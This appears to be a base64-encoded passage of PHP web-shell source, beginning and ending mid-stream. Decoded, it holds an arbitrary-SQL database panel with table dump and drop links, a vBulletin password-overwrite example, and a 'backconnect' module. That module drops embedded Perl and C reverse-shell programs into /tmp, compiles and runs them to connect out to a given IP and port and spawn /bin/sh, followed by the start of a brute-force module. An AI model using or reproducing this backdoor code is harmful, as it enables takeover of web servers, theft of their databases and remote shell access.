y4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+DQoNCgkJCTwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7DQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCXAoJGRiZm9ybSk7DQoJCQlwKCc8L2Zvcm0+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSB8fCAoJHJ1bnF1ZXJ5ICYmICRzcWxfcXVlcnkpKSB7DQoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgew0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KCQkJCQkkcm93ZGIgPSBhcnJheSgpOw0KCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQlwKCc8dGQ+RmllbGQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCgkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydUeXBlJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydOdWxsJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0RlZmF1bHQnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0V4dHJhJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQl9DQoJCQkJCXRiZm9vdCgpOw0KCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0Jykgew0KCQkJCQkkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdGFibGVuYW1lKTsNCgkJCQkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KCQkJCQl9DQoJCQkJCSRycyA9IGFycmF5KCk7DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzxoMj5JbnNlcnQgbmV3IGxpbmUgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCgkJCQkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSBMSU1JVCAxIik7DQoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kc2VsZi4nIj4nKTsNCgkJCQkJcCgkZGJmb3JtKTsNCgkJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCR0YWJsZW5hbWUpOw0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgew0KCQkJCQkJaWYgKCRyc1skcm93WydGaWVsZCddXSkgew0KCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJJHZhbHVlID0gJyc7DQoJCQkJCQl9DQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOw0KCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOw0KCQkJCQl9DQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsNCgkJCQkJCWlmICgkcXVlcnkpIHsNCgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJY2FzZSAwOg0KCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCWNhc2UgMToNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsNCgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7DQoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOw0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsNCgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOw0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7DQoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOw0KCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpew0KCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgew0KCQkJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOw0KCQkJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7DQoJCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZWRpdFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkVkaXQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZGVsXCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RGVsPC9hPjwvdGQ+Jyk7DQoJCQkJCQkJCQkJcCgkYjEpOw0KCQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQkJdW5zZXQoJGIxKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXRiZm9vdCgpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQljYXNlIDI6DQoJCQkJCQkJCQkkYXIgPSBteXNxbF9hZmZlY3RlZF9yb3dzKCk7DQoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsNCgkJCQkkdGFibGVfbnVtID0gJHRhYmxlX3Jvd3MgPSAkZGF0YV9zaXplID0gMDsNCgkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCQkJCQkkZGF0YV9zaXplID0gJGRhdGFfc2l6ZSArICR0YWJsZVsnRGF0YV9sZW5ndGgnXTsNCgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOw0KCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsNCgkJCQkJJHRhYmxlX251bSsrOw0KCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOw0KCQkJCX0NCgkJCQkkZGF0YV9zaXplID0gc2l6ZWNvdW50KCRkYXRhX3NpemUpOw0KCQkJCXVuc2V0KCR0YWJsZSk7DQoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCgkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCQlwKCRkYmZvcm0pOw0KCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOw0KCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOw0KCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7DQoJCQkJaWYgKCRoaWdodmVyKSB7DQoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsNCgkJCQl9DQoJCQkJcCgnPC90cj4nKTsNCgkJCQlmb3JlYWNoICgkdGFibGVkYiBhcyAka2V5ID0+ICR0YWJsZSkgew0KCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ05hbWUnXS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdpbnNlcnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF08L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0NyZWF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsNCgkJCQkJaWYgKCRoaWdodmVyKSB7DQoJCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0VuZ2luZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCX0NCgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJHRhYmxlX3Jvd3MuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgiPHRyIGNsYXNzPVwiZm91dFwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7DQoJCQkJZm9ybWZvb3QoKTsNCgkJCQlwKCI8L3RhYmxlPiIpOw0KCQkJCWZyKCRxdWVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmb290KCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoJCWlmICgkdXNlID09ICdwZXJsJykgew0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9IGVsc2Ugew0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9DQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1lvdXIgSVA6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoJcCgnWW91ciBQb3J0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsNCglwKCdVc2U6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCn0vL2VuZCBiYWNrY29ubmVjdCB3aW5kb3cgdmlhIE5DDQoNCi8vIEJydXRlDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2JydXRlJykgew0KZm9ybWhlYWQoYXJyYXkoJ3